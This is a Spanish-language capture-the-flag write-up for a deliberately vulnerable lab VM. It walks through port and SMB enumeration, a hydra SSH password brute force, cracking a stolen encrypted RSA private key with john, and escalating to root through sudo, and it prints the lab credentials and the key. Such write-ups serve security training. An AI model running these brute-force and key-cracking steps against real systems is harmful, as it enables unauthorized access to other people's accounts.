

## Escaneo de puertos

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```
nmap -sCV -p<PORTS> <IP>
```

Info:

Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-06-08 07:13 EDT

Nmap scan report for 192.168.5.174

Host is up (0.00019s latency).

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:			
2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)			
256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)			
_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)			
80/tcp	open	http	Apache httpd 2.4.18 ((Ubuntu))
_ http-title: Site doesn't have a title (text/html).			
_ http-server-header: Apache/2.4.18 (Ubuntu)			
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
ajp-methods:			
_ Supported methods: GET HEAD POST OPTIONS			
8080/tcp	open	http	Apache Tomcat 9.0.7
_ http-title: Apache Tomcat/9.0.7			
_ http-favicon: Apache Tomcat			
MAC Address: 00:0C:29:AF:5C:F7 (VMware)			
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel			

Host script results:

```
| smb2-time:
|   date: 2024-06-08T11:13:42
|_  start_date: N/A
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_ clock-skew: mean: 1h20m00s, deviation: 2h18m33s, median: 0s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-06-08T07:13:42-04:00
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 11.80 seconds

## enum4linux

Vemos varios puertos interesantes para enumerar por lo que haremos lo siguiente...

```
enum4linux <IP>
```

Info:

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ )  
on Sat Jun  8 07:23:02 2024
```

```
===== ( Target Information )=====
```

```
Target ..... 192.168.5.174  
RID Range ..... 500-550,1000-1050  
Username ..... ''  
Password ..... ''  
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

```
===== ( Enumerating Workgroup/Domain on 192.168.5.174 )=====
```

```
[+] Got domain/workgroup name: WORKGROUP
```

```
===== ( Nbtstat Information for 192.168.5.174 )=====
```

```
Looking up status of 192.168.5.174
```

BASIC2	<00>	-	B <ACTIVE>	Workstation Service
BASIC2	<03>	-	B <ACTIVE>	Messenger Service
BASIC2	<20>	-	B <ACTIVE>	File Server Service
WORKGROUP	<00>	- <GROUP>	B <ACTIVE>	Domain/Workgroup Name
WORKGROUP	<1e>	- <GROUP>	B <ACTIVE>	Browser Service Elections

```
MAC Address = 00-00-00-00-00-00
```

```
===== ( Session Check on 192.168.5.174 )=====
```

```
[+] Server 192.168.5.174 allows sessions using username '', password ''
```

```
===== ( Getting domain SID for 192.168.5.174 )=====
```

```
Domain Name: WORKGROUP
```

Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup

```
===== ( OS information on 192.168.5.174 )=====
```

[E] Can't get OS info with smbclient

[+] Got OS info for 192.168.5.174 from srvinfo:

```
BASIC2      Wk Sv PrQ Unx NT SNT Samba Server 4.3.11-Ubuntu
platform_id :      500
os version  :      6.1
server type :      0x809a03
```

```
===== ( Users on 192.168.5.174 )=====
```

Use of uninitialized value \$users in print at ./enum4linux.pl line 972.

Use of uninitialized value \$users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value \$users in print at ./enum4linux.pl line 986.

Use of uninitialized value \$users in pattern match (m//) at ./enum4linux.pl line 988.

```
===== ( Share Enumeration on 192.168.5.174 )=====
```

Sharename	Type	Comment
-----	----	-----
Anonymous	Disk	
IPC\$	IPC	IPC Service (Samba Server 4.3.11-Ubuntu)

Reconnecting with SMB1 for workgroup listing.

Server	Comment
-----	-----
Workgroup	Master
-----	-----
WORKGROUP	

[+] Attempting to map shares on 192.168.5.174

//192.168.5.174/Anonymous Mapping: OK Listing: OK Writing: N/A

[E] Can't understand response:

NT\_STATUS\_OBJECT\_NAME\_NOT\_FOUND listing \*

//192.168.5.174/IPC\$ Mapping: N/A Listing: N/A Writing: N/A

```
===== ( Password Policy Information for 192.168.5.174 )=====
```

)=====

[+] Attaching to 192.168.5.174 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

[+] BASIC2

[+] Builtin

[+] Password Info for Domain: BASIC2

[+] Minimum password length: 5

[+] Password history length: None

[+] Maximum password age: 37 days 6 hours 21 minutes

[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: 0

[+] Domain Password Store Cleartext: 0

[+] Domain Password Lockout Admins: 0

[+] Domain Password No Clear Change: 0

[+] Domain Password No Anon Change: 0

[+] Domain Password Complex: 0

[+] Minimum password age: None

[+] Reset Account Lockout Counter: 30 minutes

[+] Locked Account Duration: 30 minutes

[+] Account Lockout Threshold: None

[+] Forced Log off Time: 37 days 6 hours 21 minutes

[+] Retrieved partial password policy with rpcclient:

Password Complexity: Disabled

Minimum Password Length: 5

=====( Groups on 192.168.5.174  
)=====

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

```
[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

===== ( Users on 192.168.5.174 via RID cycling (RIDS: 500-550,1000-1050) )=====

[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon
username '', password ''

S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

===== ( Getting printer info for 192.168.5.174 )=====

No printers returned.
```

```
enum4linux complete on Sat Jun  8 07:23:19 2024
```

Vemos que hay un recurso compartido llamado **Anonymous**, por lo que haremos lo siguiente...

```
smbclient //<IP>/Anonymous -N
```

Vemos que hay un archivo llamado **staff.txt** el cual nos lo descargaremos...

```
get staff.txt
```

Y veremos el siguiente contenido...

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but this is how mistakes happen. (This means you too, Jan!)

-Kay

Descubrimos algunos nombres a parte de descubrir 2 nombres a parte con el **enum4linux** llamados...

Kay

Jan

El texto te da una idea a que se puede cargar por **smb** algun recurso con alguna **Reverse Shell** o algo parecido...

## Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:                        http://192.168.5.174/
[+] Method:                     GET
[+] Threads:                    50
[+] Wordlist:                   /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:     404
[+] User Agent:                 gobuster/3.6
[+] Extensions:                html,php,txt
[+] Follow Redirect:           true
[+] Timeout:                    10s
=====
Starting gobuster in directory enumeration mode
=====
./htaccess.txt                 (Status: 403) [Size: 301]
./htaccess.html                (Status: 403) [Size: 302]
./htaccess                     (Status: 403) [Size: 297]
./htpasswd.php                 (Status: 403) [Size: 301]
./htaccess.php                 (Status: 403) [Size: 301]
./htpasswd                     (Status: 403) [Size: 297]
./htpasswd.txt                 (Status: 403) [Size: 301]
```

```
/.htpasswd.html      (Status: 403) [Size: 302]
/development         (Status: 200) [Size: 1132]
/index.html          (Status: 200) [Size: 158]
/server-status       (Status: 403) [Size: 301]
Progress: 81876 / 81880 (100.00%)
```

Finished

Vemos que hay un directorio llamado `/development` por lo que iremos a la siguiente URL...

URL = `http://<IP>/development/`

Con esto veremos 2 `.txt` llamados `dev.txt` y `t.txt` que el contenido de cada uno sera el siguiente...

`dev.txt`

```
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think
it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried
that example
you get to show off how it works (and it's the REST version of the example!). Oh, and
right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J
```

`t.txt`

```
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak
credentials,
and I was able to crack your hash really easily. You know our password policy, so
please follow
it? Change that password ASAP.

-K
```

Estos mensajes nos da a pensar que se puede explotar la `password` del usuario `jan`...

Por lo que si le tiramos un `hydra` pasaria lo siguiente...

## Hydra

```
hydra -l jan -P <WORDLIST> ssh://<IP> -t 64
```

Info:

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-08 07:39:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
```

```
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries
(1:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://192.168.5.174:22/
[STATUS] 419.00 tries/min, 419 tries in 00:01h, 14344014 to do in 570:34h, 30 active
[22][ssh] host: 192.168.5.174 login: jan password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until
end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-08 07:42:21
```

Por lo que vemos nos saca las credenciales del usuario **jan**...

```
User = jan
Password = armando
```

Nos conectamos por **ssh**...

```
ssh jan@<IP>
```

Una vez dentro del usuario nos vamos a la carpeta de **Kay** donde veremos un **.ssh** y si entramos dentro vemos que podemos leer la **id\_rsa** privada a parte de que tiene un **authorized\_keys** por lo que ya confirmamos que si nos podemos meter de forma externa con esa clave...

```
id_rsa
```

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC, 6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr40NGUAnKcRxxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmB487RdFVktOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZH3QOFIY1SPMYv79RC65i6frkDSvxXzbdFX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv01LXAqIaX5QfeXMacIQOUWCHATlpVxmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lp1bCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnB/U+dRasu3oxqyk1KU2dPseU7r1vPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVvYh6FklgtOfaly0bMqGIRm+eWVoX0rZPBlv8iyNTDdDE
3jrJqb0G1Ps01hAWKIRxUPaEr18lcZ+0lY00Vw2oNL2xKUGtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKc6a75pe4ZVxfmMt0QcK4oK01aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWdhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHZNwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdXVy
VqVjsot+CzF7mbWm5nFsTPPl0nndC6JmrUEUjeIbLzBcw6bX5s+b95eFeceWmMVe
B0WhqnPtDtVtg3sFdjxp0hgGXqK4bAMBnM4chFck7RpvCRjsKyWYVEDJMYvc87Z0
ysvOpVn9WnFOUDON+U4pYP6PmNU4Zd2QekNIWYEXZIZMyypuGCFdA0SARf6/kKwG
oHOACCK3ihAQKKbO+SflgXBaHxb6k0ocMQAWIOxYJunPKN8bzzlQLJs1JrZXibh1
VaPeV7X25NaUyu5u4bgtFhb/f8aBKbel4XlWR+4HxbotpJx6RVByEPZ/kVi0q3S1
GpwHSRZon320xA4hOPkcG66JDyHlS6B328uViI6Da6frYiOnA4TEjJTP05RpcSEK
QKIg65gICbpcWj1U4I9mEHZeHc0r2lyufZbnfYUr0qCv08+mS8X75seeNz8auQL
4DI4IXITq5saCHP4y/ntmz1A3Q0FNjZXAqdFK/hTAdhMQ5diGxNnw3tbmD8wGveG
VfNSaExXeZA39jOgm3VboN6cAXpz124Kj0bEwzxCBzWki0CPHFlyuMoDeLqP/Nik
oSXloJc8aZemI15RAH5gDCLT4k67wei9j/JQ6zLUT0vSmLono1IiFdsM04nUnyJ3
z+3XTDtZoU15NiY4JjCPLhTNNjAlqnpC0aqad7gV3RD/asml2L2kB0UT8PrTtt+S
baXKPFH0dHmownGmDatJP+eMrc6S896+HAXvcvPx1KNtI7+jsNTwuPBCntSFvo19
l9+xxd55YTVo1Y8RMwjopzx7h8oRt7U+Y9N/BVtbt+XzmYLnU+3qOq4W2qOynM2P
nZjVPpeh+8DBoucB5bfXsiSkNXYsCED4lspXUE4uMS3yXBpZ/44SyY8KEzrAzaI
```



```
fn2nnjwQ1U2FaJwNtMN50IshONDEABf9Ilaq46LSGpMRahNNXwzozh+/LGFQmGjI
I/zN/2KspUeW/5mqWwvFiK8QU38m7M+mli5ZX76snfJE9suva3ehHP2AeN5hWDMw
X+CuDSIXPo10RDX+OmmoExMQn5xc3LVtZ1RKNqono7fA21CzuCmXI2j/LtmYwZEL
OScgwNTLqpB6SfLDj5cFA5cdZLaXL1t7XDRzWggSnCt+6CxsZEndyU0lri9EZ8XX
oHhZ45rgACPHcdWcrKCBfOQS01hJq9nSJe2W403lJmsx/U3YLauUaVgrHkFoejnx
CNpUtuhHcVQssR9cUi5it5toZ+iiDfLoyb+f82Y0wN5TbPTd/onVDtskIlfE731
DwOy3Zf10l1FL6ag0iVwTrPB11GGQoXf4wMbww9bDF0Zp/6uatViV1dHeqPD80tj
Vxfx9bkDezp2Q12yohUeKBDu+7dYU9k5Ng0SQAk7JJJeokD7/m5i8cFwq/g5VQa8r
sGsOxQ5Mr3mKf1n/w6PnBWXYh7n2lL36ZNFac01V6szMaa8/489apbbjpxhutQNu
Eu/lP8xQlXmmpvPsDACMtqA1IpoV19m+a+sTRE2EyT8hZIRMiuaaoTZIV4CHuY6Q
3QP52kfZzjBt3ciN2AmYv205ENIJvrsacPi3PZRNIJsbGxmx0kVXdvPC5mR/pnIv
wrrVsgJQJToPFRShHjQ3qSoJ/r/8/D1VCvtD4UsFZ+j1y9kXKLAT/oK491zK8nwG
URUvqvBhDS7cq8C5rFGJUyD79guGh3He5Y7bl+mdXKNZLm1zOnauC5bKV4i+Yuj7
AGIEEXRIJXlWf4G0bs15vbydM55XlnBRyof62ucYS9ecrAr4NGMggcXfYYncxMyK
AXDKwSwwwf/yHEwX8ggTESv5Ad+BxdeMoiAk8c1Yy1tzwdamZSn0SyHXuV1B4Jn5
phQL3R80rZETsuXfDVKrPeaOKEE1vhEVZQXVSOHGCuiDYkCA6a16WYdI9i2+uNR
ogjvVVBVZIBH+w5YJhYtrInQ7DMqAyX1YB2pmC+leRgF3yrP9a2kLAdk9dBQcV
ev6cTcfzhBhyVqm1lWqWDUZtROTwf180jo8QDlq+HE0bVcb/o2FxQKYEtgfh4/UC
D5qrsHAK15DnhH4IXrIkPlA799CXrhWi7mF5Ji41F307iAEjwKh6Q/YjgPvgj8LG
OsCP/iugxt7u+91J7qov/RBTr07GeyX5Lc/SW1j6T6sjKEga8m9fS10h4TErePkT
t/CCVLBkM22Ewao8glguHN5VtANH0mTLnpjfNLVJCDH10hKzi3zZmdrxhql+/WJQ
4eaCAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Szl8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/Zw3XCB76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTq02zNxFvpuXthY
-----END RSA PRIVATE KEY-----
```

En nuestro **host** creamos el archivo **id\_rsa** pegando el **id\_rsa** del usuario **Kay**, una vez hecho eso hacemos lo siguiente...

```
chmod 600 id_rsa
ssh2john id_rsa > <FILE>
```

Info:

```
id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de80
1a2712ef86e499d5cad1af838d19402729c471837fbdb7eb172e8e9cd40ee52d959a3d772204241e3051
94ee7813ec99be3ced17455644ce550ad51edcb52b668bcb62e46b60a77e3cfc2e5bfe14c69db0d5d1be3
c3f1d18867173d8f01ee7b00d5e88f62b3d91c81f740e14862548f318bfbf510bae62e9fae40d2bf15f36
dd7d702400dfb74f9154e3d00454a049b599cb4c4070df59b18efd252d702a21a5f941f79731a70840e51
608701396955798d946e01686edc557b350263e279f971eee37846e07d3594b8669d25a656c26f85046b0
5f44edf9529dea4ce1f8193469485640909d9dbfd4f9d45ab2ede8c6aca49a53674fb1e53bae5bcf02a6
bacbea202bfc284db9d3ae446780aa8b431325948599c9ee32acb1137dcdbbe61cd555887a1642e0b4e7d
a972d1b32a188accf9e595a173ab64f065bfc8b23530dd0c4de3463a9b38694fb34d6101628847150f684
af5f25719f8e958d34570da834bdb129482d4295768f01f4e3219d5db7c92d85a55f19c926954c84a0ba6
bbe697b8655c5f98cb7441c2b8a0a3b569118ca8b14dc1a3f125857a1dab94a1513137b6d4a68f9e2d856
ce66a39b5ba560e18b43517e718fd6de9b9fb4ef6fbec009ac86cc774ba4802a666bffd21c114e7adb455
858d4251fef118d99b9b3607ccd130329a44da2f261526951422440b7703827e53bd05177e1e82249455a
e177157256a563b28b7e0b317b99b5a6e6716c4cf3e53a79dd0ba266ad41148de21b2f305c5ba6d7e6cf9
bf7978579c79632655e0745a1aa73ed0ed56d837b05763c69d218065ea2b86c03019cce1c84570aed1a6f
0918ec2b25985440c9318bdcf3b674cacbcea559fd5a714e51d38df94e2960fe8f98d53865dd907a43485
9811764864ccb2a6e18215d03448045feb90ac06a073800822b78a101028a6cef927e581705a1d76fa93
4a1c31001620ec5826e9cf28df1bcf39502c9b3526b65789b86555a3de57b5f6e4d694caee6ee1b82d161
6ff7fc68129b7a5e1795647ee07c5ba2da49c7a45507210f67f91588eab74b51a9c074916689f7db4c40e
2138f91c1bae890f21e54ba077dbcb95888e836ba7eb6223a70384c48c94cf3b946971210a40a220eb980
809ba5c5a3d54e08f6610765e1dcd2bda5cae7d96e77d852bd2a095a3cfa64bc5fbe6c79ea0dcfc6ae40b
```

e03238217213ab9b1a0873f8cbf9ed9b3d40dd0d0536365702a7452bf85301d84c4397621979cdc37b5b9  
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a73c7b87ca11b7b53e63d37f055b5bb7e5f39982e7bbedea3aae16daa3b29ccd8f9d98d53e97a1fbc0c1a  
2e701e5b7d7b224a4371358b02103e25b29c54138b8c4b7c9706967fe384b263c284ceb0336887e7da79e  
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8078de615833305fe0ae0d22173e8d744435fe3a69a81313109f9c5cdcb56d67544a36aa27a3b7c0db50b  
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b30fc3214ac5fb8962437477e81bb6479fa498f148924796d6d616218ec2a5fa0949def8542dc9b75fd95  
b75c26fbe91ef9b06e61e90e0df20bb973f33471dab5e87f4c1f0a5d8a7f4e653a8edb337116fa6e5ed85  
8

john --wordlist=<WORDLIST> <FILE>

Info:

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
1g 0:00:00:00 DONE (2024-06-08 07:56) 16.66g/s 1379Kp/s 1379Kc/s 1379Kc/s
bird..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Por lo que vemos sabemos la **password** de la comparacion del **id\_rsa**, por lo que ya si que nos conectaremos mediante la clave privada por **ssh**...

```
ssh -i id_rsa kay@<IP>
```

Una vez hecho esto ya estaríamos dentro con el usuario **Kay**...

En la home del mismo usuario, vemos que hay un archivo llamado **pass.bak** por lo que si lo leemos vemos lo siguiente...

```
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
```

Por lo que parece es la contraseña del usuario **kay**...

```
User = kay
Password = heresareallystrongpasswordthatfollowsthepasswordpolicy$$
sudo -l
```

Metemos esa **password** y veremos lo siguiente...

```
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User kay may run the following commands on basic2:
    (ALL : ALL) ALL
```

Esto indica que tenemos todos los privilegios para poder ser **root**...

```
sudo su
```

Y ya seríamos **root**, por lo que leeremos la flag...

```
flag.txt (flag_final)
```

```
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain a shell, and two ways to privesc. I encourage you to find them all!
```

```
If you're in the target audience (newcomers to pentesting), I hope you learned something. A few takeaways from this challenge should be that every little bit of information you can find can be valuable, but sometimes you'll need to find several different pieces of information and combine them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding an obviously outdated, vulnerable service right away with a port scan (unlike the first entry in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and therefore might've been overlooked by administrators.
```

```
Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach out to me.
```

```
Happy hacking!
```